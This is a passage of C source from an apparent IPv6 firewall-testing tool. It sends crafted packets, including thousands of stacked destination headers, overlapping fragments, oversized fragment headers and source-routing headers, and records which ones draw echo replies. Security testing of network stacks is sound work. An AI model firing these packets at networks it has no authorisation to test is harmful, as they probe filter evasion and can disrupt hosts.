PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: destination ignore option 2kb size\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bigbla, 0, sizeof(bigbla)); bigbla[0] = NXT_IGNORE; bigbla[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&bigbla, 2046) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 2 destination headers\t\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; for (i = 0; i < 2; i++) if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 128 destination headers\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; for (i = 0; i < 128; i++) if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 1200, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 2000 destination headers\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; for (i = 0; i < 2000; i++) if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 1200, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 8172 destination headers\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; for (i = 0; i < 8172; i++) if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 1200, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: correct fragmentation\t\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, sizeof(bla), 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_ICMP6, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_FRAG, NXT_ICMP6, NXT_FRAG, NXT_ICMP6, fragsize - 100, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: one-shot fragmentation\t\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + 70000) < 0) return -1; memset(bla, count % 256, sizeof(bla)); thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, fragsize - 100, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; // hdr = (thc_ipv6_hdr *) pkt; // while (thc_pcap_check(p, (char *) ignoreit, NULL) > 0); // if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, // hdr->pkt + 40 + offset, hdr->pkt_len - 40 - // offset, hdr->pkt_len > fragsize ? fragsize : // (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < // 0) // return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: too large fragmentation EH\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); bla[0] = 0; bla[1] = 0; bla[6] = 0x80; // this is for wireshark this error EH not correctly if (thc_add_hdr_misc(pkt, &pkt_len, NXT_FRAG, -1, bla, 8 + 8 + 8 + 6) < 0) return -1; memset(bla, count % 256, sizeof(bla)); thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, fragsize - 100, 0); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; // hdr = (thc_ipv6_hdr *) pkt; // while (thc_pcap_check(p, (char *) ignoreit, NULL) > 0); // if (thc_send_as_fragment6(interface, src6, dst6, NXT_ICMP6, // hdr->pkt + 40 + offset, hdr->pkt_len - 40 - // offset, hdr->pkt_len > fragsize ? fragsize : // (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < // 0) // return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: overlap-first-zero fragmentation\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt2, &pkt_len2, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PINGREPLY, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_add_data6(pkt3, &pkt_len3, NXT_HDR, buf, hdr->pkt_len - 40 - offset - 22)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_HDR, buf, hdr->pkt_len - 40 - offset - 22)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); pkt2 = thc_destroy_packet(pkt2); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: overlap-last-zero fragmentation\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt2, &pkt_len2, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PINGREPLY, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt2; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_HDR, buf, hdr->pkt_len - 40 - offset - 22)) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_HDR, buf, hdr->pkt_len - 40 - offset - 22)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); pkt2 = thc_destroy_packet(pkt2); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: overlap-first-dst fragmentation\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt2, &pkt_len2, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PINGREPLY, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_DST, buf, hdr->pkt_len - 40 - offset - 22)) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 1, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_DST, buf + 8, hdr->pkt_len - 40 - offset - 22)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); pkt2 = thc_destroy_packet(pkt2); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: overlap-last-dst fragmentation\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_dst(pkt2, &pkt_len2, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PINGREPLY, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt2; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_DST, buf, hdr->pkt_len - 40 - offset - 22)) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 1, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_DST, buf + 8, hdr->pkt_len - 40 - offset - 22)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); pkt2 = thc_destroy_packet(pkt2); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: source-routing (done)\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if ((k = check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla))) { tests[count] = 1; if (k == 2 && use_srcroute_type < 0) use_srcroute_type = count; } } count++; if (test == 0 || test == count) { printf("Test %2d: source-routing (todo)\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = src6; // route via ourself, and routers[1] = NULL; // telling the target that this was NOT already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if ((k = check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 200, bla))) { tests[count] = 1; if (k == 2 && use_srcroute_type < 0) use_srcroute_type = count; } } count++; if (test == 0 || test == count) { printf("Test %2d: unauth mobile source-route\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_mobileroute(pkt, &pkt_len, src6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 200, bla)) // XXX TODO: NOT SURE! tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: mobile+source-routing (done)\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, 0, sizeof(bla)); bla[0] = 2; bla[1] = 1; memcpy(bla + 6, src6, 16); // 22 type, 23 routingptr, 24 reserved, 25-27 loose source routing memcpy(bla + 6 + 16 + 6, src6, 16); if (thc_add_hdr_misc(pkt, &pkt_len, NXT_ROUTE, -1, bla, 44) < 0) return -1; memset(bla, count % 256, sizeof(bla)); thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if ((k = check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 200, bla))) { tests[count] = 1; if (k == 2 && use_srcroute_type < 0) use_srcroute_type = count; } } count++; if (test == 0 || test == count) { printf("Test %2d: fragmentation source-route (done)\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 1220, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 250, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: fragmentation source-route (todo)\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was not performed yet if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 1220, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 250, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: hop-by-hop fragmentation source-route\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_hopbyhop(pkt3, &pkt_len3, (unsigned char *)&buf, 6) < 0) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_ROUTE, buf, hdr->pkt_len - 40 - offset)) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, fragsize - 200, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: destination fragmentation source-route\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, srcmtu - 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; /* frag stuff */ hdr = (thc_ipv6_hdr *)pkt; i = ((hdr->pkt_len - 40 - offset - 10) / 8) * 8; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 0, 0, count, 0, 0)) == NULL) return -1; 